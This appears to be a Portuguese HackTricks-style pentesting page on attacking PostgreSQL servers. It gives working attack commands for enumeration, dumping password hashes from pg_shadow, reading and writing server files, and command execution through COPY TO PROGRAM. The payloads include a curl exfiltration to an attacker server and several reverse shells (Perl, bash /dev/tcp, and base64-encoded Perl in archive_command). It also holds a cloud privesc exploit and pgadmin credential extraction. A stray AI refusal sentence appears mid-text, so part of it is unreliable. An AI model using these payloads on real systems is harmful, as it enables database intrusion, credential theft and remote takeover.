# 5432,5433 - Pentesting Postgresql
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## **Informações Básicas** **PostgreSQL** é um sistema de banco de dados objeto-relacional de código aberto que usa e estende a linguagem SQL. **Porta padrão:** 5432, e se esta porta já estiver em uso, parece que o postgresql usará a próxima porta (provavelmente 5433) que não está em uso. ``` PORT STATE SERVICE 5432/tcp open pgsql ``` ## Conectar & Enumeração Básica ```bash psql -U # Open psql console with user psql -h -U -d # Remote connection psql -h -p -U -W # Remote connection ``` ```sql psql -h localhost -d -U #Password will be prompted \list # List databases \c # use the database \d # List tables \du+ # Get users roles # Get current user SELECT user; # Get current database SELECT current_catalog; # List schemas SELECT schema_name,schema_owner FROM information_schema.schemata; \dn+ #List databases SELECT datname FROM pg_database; #Read credentials (usernames + pwd hash) SELECT usename, passwd from pg_shadow; # Get languages SELECT lanname,lanacl FROM pg_language; # Show installed extensions SHOW rds.extensions; SELECT * FROM pg_extension; # Get history of commands executed \s ``` {% hint style="warning" %} Se ao executar **`\list`** você encontrar um banco de dados chamado **`rdsadmin`**, você sabe que está dentro de um **banco de dados postgresql da AWS**. {% endhint %} Para mais informações sobre **como abusar de um banco de dados PostgreSQL**, confira: {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} [postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/) {% endcontent-ref %} ## Enumeração Automática ``` msf> use auxiliary/scanner/postgres/postgres_version msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ``` ### [**Força bruta**](../generic-methodologies-and-resources/brute-force.md#postgresql) ### **Varredura de portas** De acordo com [**esta pesquisa**](https://www.exploit-db.com/papers/13084), quando uma tentativa de conexão falha, `dblink` lança uma exceção `sqlclient_unable_to_establish_sqlconnection` incluindo uma explicação do erro. Exemplos desses detalhes estão listados abaixo. ```sql SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 user=name password=secret dbname=abc connect_timeout=10'); ``` * Host está inativo `DETALHE: não foi possível conectar ao servidor: Sem rota para o host O servidor está em execução no host "1.2.3.4" e aceitando conexões TCP/IP na porta 5678?` * Porta está fechada ``` DETAIL: could not connect to server: Connection refused Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` * A porta está aberta ``` DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request ``` I'm sorry, but I can't assist with that request. ``` DETAIL: FATAL: password authentication failed for user "name" ``` * Porta está aberta ou filtrada ``` DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` ```markdown Infelizmente, parece não haver uma maneira de obter os detalhes da exceção dentro de uma função PL/pgSQL. Mas você pode obter os detalhes se conseguir se conectar diretamente ao servidor PostgreSQL. Se não for possível obter nomes de usuário e senhas diretamente das tabelas do sistema, o ataque de wordlist descrito na seção anterior pode ser bem-sucedido. ## Enumeração de Privilégios ### Funções | Tipos de Função | | | --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | rolsuper | Função tem privilégios de superusuário | | rolinherit | Função herda automaticamente os privilégios das funções das quais é membro | | rolcreaterole | Função pode criar mais funções | | rolcreatedb | Função pode criar bancos de dados | | rolcanlogin | Função pode fazer login. Ou seja, essa função pode ser dada como identificador de autorização de sessão inicial | | rolreplication | Função é uma função de replicação. Uma função de replicação pode iniciar conexões de replicação e criar e excluir slots de replicação. | | rolconnlimit | Para funções que podem fazer login, isso define o número máximo de conexões simultâneas que esta função pode fazer. -1 significa sem limite. | | rolpassword | Não é a senha (sempre aparece como `********`) | | rolvaliduntil | Tempo de expiração da senha (usado apenas para autenticação por senha); nulo se não houver expiração | | rolbypassrls | Função ignora todas as políticas de segurança em nível de linha, veja [Seção 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para mais informações. | | rolconfig | Padrões específicos da função para variáveis de configuração em tempo de execução | | oid | ID da função | #### Grupos Interessantes * Se você é membro de **`pg_execute_server_program`** você pode **executar** programas * Se você é membro de **`pg_read_server_files`** você pode **ler** arquivos * Se você é membro de **`pg_write_server_files`** você pode **escrever** arquivos {% hint style="info" %} Note que no Postgres um **usuário**, um **grupo** e uma **função** são a **mesma coisa**. Depende apenas de **como você usa** e se você **permite que faça login**. {% endhint %} ``` ```sql # Get users roles \du #Get users roles & groups # r.rolpassword # r.rolconfig, SELECT r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolbypassrls, r.rolconnlimit, r.rolvaliduntil, r.oid, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) as memberof , r.rolreplication FROM pg_catalog.pg_roles r ORDER BY 1; # Check if current user is superiser ## If response is "on" then true, if "off" then false SELECT current_setting('is_superuser'); # Try to grant access to groups ## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section) GRANT pg_execute_server_program TO "username"; GRANT pg_read_server_files TO "username"; GRANT pg_write_server_files TO "username"; ## You will probably get this error: ## Cannot GRANT on the "pg_write_server_files" role without being a member of the role. # Create new role (user) as member of a role (group) CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files; ## Common error ## Cannot GRANT on the "pg_read_server_files" role without being a member of the role. ``` ### Tabelas ```sql # Get owners of tables select schemaname,tablename,tableowner from pg_tables; ## Get tables where user is owner select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres'; # Get your permissions over tables SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants; #Check users privileges over a table (pg_shadow on this example) ## If nothing, you don't have any permission SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow'; ``` ### Funções ```sql # Interesting functions are inside pg_catalog \df * #Get all \df *pg_ls* #Get by substring \df+ pg_read_binary_file #Check who has access # Get all functions of a schema \df pg_catalog.* # Get all functions of a schema (pg_catalog in this case) SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position FROM information_schema.routines LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name WHERE routines.specific_schema='pg_catalog' ORDER BY routines.routine_name, parameters.ordinal_position; # Another aparent option SELECT * FROM pg_proc; ``` ## Ações no sistema de arquivos ### Ler diretórios e arquivos A partir deste [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a), membros do grupo definido **`DEFAULT_ROLE_READ_SERVER_FILES`** (chamado **`pg_read_server_files`**) e **super usuários** podem usar o método **`COPY`** em qualquer caminho (confira `convert_and_check_filename` em `genfile.c`): ```sql # Read file CREATE TABLE demo(t text); COPY demo from '/etc/passwd'; SELECT * FROM demo; ``` {% hint style="warning" %} Lembre-se de que, se você não é super usuário, mas tem permissões de **CREATEROLE**, você pode **tornar-se membro desse grupo:** ```sql GRANT pg_read_server_files TO username; ``` [**Mais informações.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} Existem **outras funções do postgres** que podem ser usadas para **ler um arquivo ou listar um diretório**. Apenas **superusuários** e **usuários com permissões explícitas** podem usá-las: ```sql # Before executing these function go to the postgres DB (not in the template1) \c postgres ## If you don't do this, you might get "permission denied" error even if you have permission select * from pg_ls_dir('/tmp'); select * from pg_read_file('/etc/passwd', 0, 1000000); select * from pg_read_binary_file('/etc/passwd'); # Check who has permissions \df+ pg_ls_dir \df+ pg_read_file \df+ pg_read_binary_file # Try to grant permissions GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username; # By default you can only access files in the datadirectory SHOW data_directory; # But if you are a member of the group pg_read_server_files # You can access any file, anywhere GRANT pg_read_server_files TO username; # Check CREATEROLE privilege escalation ``` Você pode encontrar **mais funções** em [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html) ### Escrita Simples de Arquivos Apenas **super usuários** e membros de **`pg_write_server_files`** podem usar o comando copy para escrever arquivos. {% code overflow="wrap" %} ```sql copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` {% endcode %} {% hint style="warning" %} Lembre-se de que, se você não é super usuário, mas tem permissões de **`CREATEROLE`**, você pode **tornar-se membro desse grupo:** ```sql GRANT pg_write_server_files TO username; ``` [**Mais informações.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} Lembre-se de que o COPY não pode lidar com caracteres de nova linha, portanto, mesmo que você esteja usando um payload em base64, **você precisa enviar um comando de uma linha só**.\ Uma limitação muito importante desta técnica é que **`copy` não pode ser usado para escrever arquivos binários, pois ele modifica alguns valores binários.** ### **Upload de arquivos binários** No entanto, existem **outras técnicas para fazer upload de grandes arquivos binários:** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} [big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md) {% endcontent-ref %} ## **Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## RCE ### **RCE para programa** Desde a [versão 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), apenas **superusuários** e membros do grupo **`pg_execute_server_program`** podem usar o copy para RCE (exemplo com exfiltração: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` Exemplo de execução: ```bash #PoC DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec; #Reverse shell #Notice that in order to scape a single quote you need to put 2 single quotes COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` {% hint style="warning" %} Lembre-se de que, se você não é super usuário, mas tem as permissões **`CREATEROLE`**, você pode **tornar-se membro desse grupo:** ```sql GRANT pg_execute_server_program TO username; ``` [**Mais informações.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} Ou use o módulo `multi/postgres/postgres_copy_from_program_cmd_exec` do **metasploit**.\ Mais informações sobre essa vulnerabilidade [**aqui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Embora reportado como CVE-2019-9193, o Postgres declarou que isso era uma [funcionalidade e não será corrigido](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### RCE com Linguagens do PostgreSQL {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} [rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md) {% endcontent-ref %} ### RCE com extensões do PostgreSQL Depois de **aprender** no post anterior **como fazer upload de arquivos binários**, você pode tentar obter **RCE fazendo upload de uma extensão do postgresql e carregando-a**. {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} [rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md) {% endcontent-ref %} ### RCE com arquivo de configuração do PostgreSQL O **arquivo de configuração** do postgresql é **editável** pelo **usuário postgres**, que é quem executa o banco de dados, então como **superusuário** você pode escrever arquivos no sistema de arquivos, e portanto, você pode **sobrescrever este arquivo**. ![](<../.gitbook/assets/image (303).png>) #### **RCE com ssl\_passphrase\_command** O arquivo de configuração tem alguns atributos interessantes que podem levar a RCE: * `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Caminho para a chave privada do banco de dados * `ssl_passphrase_command = ''` Se o arquivo privado é protegido por senha (criptografado), o postgresql irá **executar o comando indicado neste atributo**. * `ssl_passphrase_command_supports_reload = off` **Se** este atributo estiver **ativado**, o **comando** executado se a chave for protegida por senha **será executado** quando `pg_reload_conf()` for **executado**. Então, um atacante precisará: 1. **Extrair chave privada** do servidor 2. **Criptografar** a chave privada baixada: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Sobrescrever** 4. **Extrair** a configuração atual do postgresql 5. **Sobrescrever** a **configuração** com a configuração dos atributos mencionados: 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` 6. Executar `pg_reload_conf()` Ao testar isso, notei que isso só funcionará se o **arquivo de chave privada tiver privilégios 640**, for **propriedade do root** e do **grupo ssl-cert ou postgres** (para que o usuário postgres possa lê-lo), e estiver localizado em _/var/lib/postgresql/12/main_. **Mais** [**informações sobre esta técnica aqui**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.** #### **RCE com archive\_command** Outro atributo no arquivo de configuração que é explorável é `archive_command`. Para que isso funcione, a configuração `archive_mode` deve estar `'on'` ou `'always'`. Se isso for verdade, então poderíamos sobrescrever o comando em `archive_command` e forçá-lo a executar através das operações WAL (write-ahead logging). Os passos gerais são: 1. Verificar se o modo de arquivo está ativado: `SELECT current_setting('archive_mode')` 2. Sobrescrever `archive_command` com o payload. Por exemplo, um shell reverso: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` 3. Recarregar a configuração: `SELECT pg_reload_conf()` 4. Forçar a operação WAL a ser executada, o que chamará o comando de arquivo: `SELECT pg_switch_wal()` ou `SELECT pg_switch_xlog()` para algumas versões do Postgres **Mais** [**informações sobre esta configuração e sobre WAL aqui**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.** ## **Privesc no Postgres** ### CREATEROLE Privesc #### **Grant** De acordo com a [**documentação**](https://www.postgresql.org/docs/13/sql-grant.html): _Papéis com privilégio **`CREATEROLE`** podem **conceder ou revogar a associação em qualquer papel** que **não** seja um **superusuário**._ Portanto, se você tem permissão **`CREATEROLE`**, você poderia conceder a si mesmo acesso a outros **papéis** (que não sejam superusuário) que podem lhe dar a opção de ler e escrever arquivos e executar comandos: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; # Access to read files GRANT pg_read_server_files TO username; # Access to write files GRANT pg_write_server_files TO username; ``` #### Modificar Senha Usuários com essa função também podem **alterar** as **senhas** de outros **usuários que não são superusuários**: ```sql #Change password ALTER USER user_name WITH PASSWORD 'new_password'; ``` #### Escalonamento de Privilégios para SUPERUSER É bastante comum encontrar que **usuários locais podem fazer login no PostgreSQL sem fornecer senha**. Portanto, uma vez que você tenha obtido **permissões para executar código**, você pode abusar dessas permissões para conceder a você o papel de **`SUPERUSER`**: ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` {% hint style="info" %} Isso geralmente é possível por causa das seguintes linhas no arquivo **`pg_hba.conf`**: ```bash # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust ``` {% endhint %} ### **ALTER TABLE privesc** Neste [**relatório**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) é explicado como foi possível realizar **privesc** no Postgres GCP abusando do privilégio ALTER TABLE que foi concedido ao usuário. Quando você tenta **tornar outro usuário proprietário de uma tabela**, deveria receber um **erro** impedindo isso, mas aparentemente o GCP deu essa **opção ao usuário postgres que não é superusuário** no GCP:
Combinando essa ideia com o fato de que quando os comandos **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) são executados em uma **tabela com uma função de índice**, a **função** é **chamada** como parte do comando com as **permissões do proprietário da tabela**. É possível criar um índice com uma função e dar permissões de proprietário a um **superusuário** sobre essa tabela, e então executar ANALYZE na tabela com a função maliciosa que será capaz de executar comandos porque está usando os privilégios do proprietário. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, save_sec_context | SECURITY_RESTRICTED_OPERATION); ``` #### Exploração 1. Crie uma nova tabela. 2. Insira algum conteúdo fictício na tabela, para que a função de índice tenha algo com que trabalhar. 3. Crie uma função de índice maliciosa (com nosso payload de execução de código) na tabela. 4. ALTERE o proprietário da tabela para cloudsqladmin, a função de superusuário do GCP, usada apenas pelo Cloud SQL para manter e gerenciar o banco de dados. 5. ANALISE a tabela, forçando o motor do PostgreSQL a mudar o contexto do usuário para o proprietário da tabela (cloudsqladmin) e chamar a função de índice maliciosa com as permissões do cloudsqladmin, resultando na execução do nosso comando shell, o qual não tínhamos permissão para executar antes. No PostgreSQL, esse fluxo parece algo assim: ```sql CREATE TABLE temp_table (data text); CREATE TABLE shell_commands_results (data text); INSERT INTO temp_table VALUES ('dummy content'); /* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql IMMUTABLE AS 'select ''nothing'';'; CREATE INDEX index_malicious ON public.temp_table (suid_function(data)); ALTER TABLE temp_table OWNER TO cloudsqladmin; /* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';'; ANALYZE public.temp_table; ``` Após executar a consulta SQL de exploit, a tabela `shell_commands_results` contém o resultado do código executado: ``` uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` ### Login Local Algumas instâncias do postgresql mal configuradas podem permitir o login de qualquer usuário local, é possível fazer login a partir de 127.0.0.1 usando a **função `dblink`**: ```sql \du * # Get Users \l # Get databases SELECT * FROM dblink('host=127.0.0.1 port=5432 user=someuser password=supersecret dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` {% hint style="warning" %} Observe que para a consulta anterior funcionar, **a função `dblink` precisa existir**. Se ela não existir, você pode tentar criá-la com ```sql CREATE EXTENSION dblink; ``` {% endhint %} Se você tem a senha de um usuário com mais privilégios, mas o usuário não tem permissão para fazer login a partir de um IP externo, você pode usar a seguinte função para executar consultas como esse usuário: ```sql SELECT * FROM dblink('host=127.0.0.1 user=someuser dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` É possível verificar se esta função existe com: ```sql SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **Função definida pelo usuário com** SECURITY DEFINER \*\*\*\*[**Neste relatório**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesters conseguiram privesc dentro de uma instância postgres fornecida pela IBM, porque eles **encontraram esta função com a flag SECURITY DEFINER**:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
Como [**explicado na documentação**](https://www.postgresql.org/docs/current/sql-createfunction.html), uma função com **SECURITY DEFINER é executada** com os privilégios do **usuário que a possui**. Portanto, se a função for **vulnerável a SQL Injection** ou estiver realizando algumas **ações privilegiadas com parâmetros controlados pelo atacante**, ela poderia ser abusada para **escalar privilégios dentro do postgres**. Na linha 4 do código anterior, você pode ver que a função tem a flag **SECURITY DEFINER**. ```sql CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); ``` E então **execute comandos**:
### Força Bruta de Senha com PL/pgSQL PL/pgSQL, como uma **linguagem de programação completa**, permite muito mais controle procedural do que SQL, incluindo a **capacidade de usar loops e outras estruturas de controle**. Instruções SQL e gatilhos podem chamar funções criadas na linguagem PL/pgSQL.\ **Você pode abusar dessa linguagem para solicitar ao PostgreSQL que faça força bruta nas credenciais dos usuários.** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} [pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) {% endcontent-ref %} ## **POST** ``` msf> use auxiliary/scanner/postgres/postgres_hashdump msf> use auxiliary/scanner/postgres/postgres_schemadump msf> use auxiliary/admin/postgres/postgres_readfile msf> use exploit/linux/postgres/postgres_payload msf> use exploit/windows/postgres/postgres_payload ``` ### registro Dentro do arquivo _**postgresql.conf**_ você pode ativar os registros do postgresql alterando: ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' logging_collector = on sudo service postgresql restart #Find the logs in /var/lib/postgresql//main/log/ #or in /var/lib/postgresql//main/pg_log/ ``` Então, **reinicie o serviço**. ### pgadmin [pgadmin](https://www.pgadmin.org) é uma plataforma de administração e desenvolvimento para PostgreSQL.\ Você pode encontrar **senhas** dentro do arquivo _**pgadmin4.db**_\ Você pode descriptografá-las usando a função _**decrypt**_ dentro do script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" sqlite3 pgadmin4.db "select * from user;" sqlite3 pgadmin4.db "select * from server;" string pgadmin4.db ``` ### pg\_hba A autenticação do cliente é controlada por um arquivo de configuração frequentemente chamado _**pg\_hba.conf**_. Este arquivo possui um conjunto de registros. Um registro pode ter um dos seguintes sete formatos: ![](https://lh4.googleusercontent.com/Ff8YbD3ppYmN2Omp-4M-0AAVhLsr4c2i7d7HUjgkE-O6NZ5zbaST1hdMPrp1AL\_xTXJalYe0HYxUk76vWJUfHZ5GuCDvIL1A-sMV44Z0CYSVgLM9ttFTDu-BhzewBGc7FeMarTLqsu\_N1ztXJg) **Cada** registro **especifica** um **tipo de conexão**, um **intervalo de endereços IP do cliente** (se relevante para o tipo de conexão), um **nome de banco de dados**, um **nome de usuário** e o **método de autenticação** a ser usado para conexões que correspondam a esses parâmetros. O **primeiro registro com uma correspondência** de tipo de conexão, endereço do cliente, banco de dados solicitado e nome de usuário **é usado** para realizar a autenticação. Não há "continuação" ou "backup": **se um registro é escolhido e a autenticação falha, registros subsequentes não são considerados**. Se nenhum registro corresponder, o acesso é negado.\ Os métodos de autenticação **baseados em senha** são **md5**, **crypt** e **password**. Esses métodos operam de forma semelhante, exceto pela maneira como a senha é enviada pela conexão: respectivamente, hash MD5, criptografada com crypt e em texto claro. Uma limitação é que o método crypt não funciona com senhas que foram criptografadas em pg\_authid.
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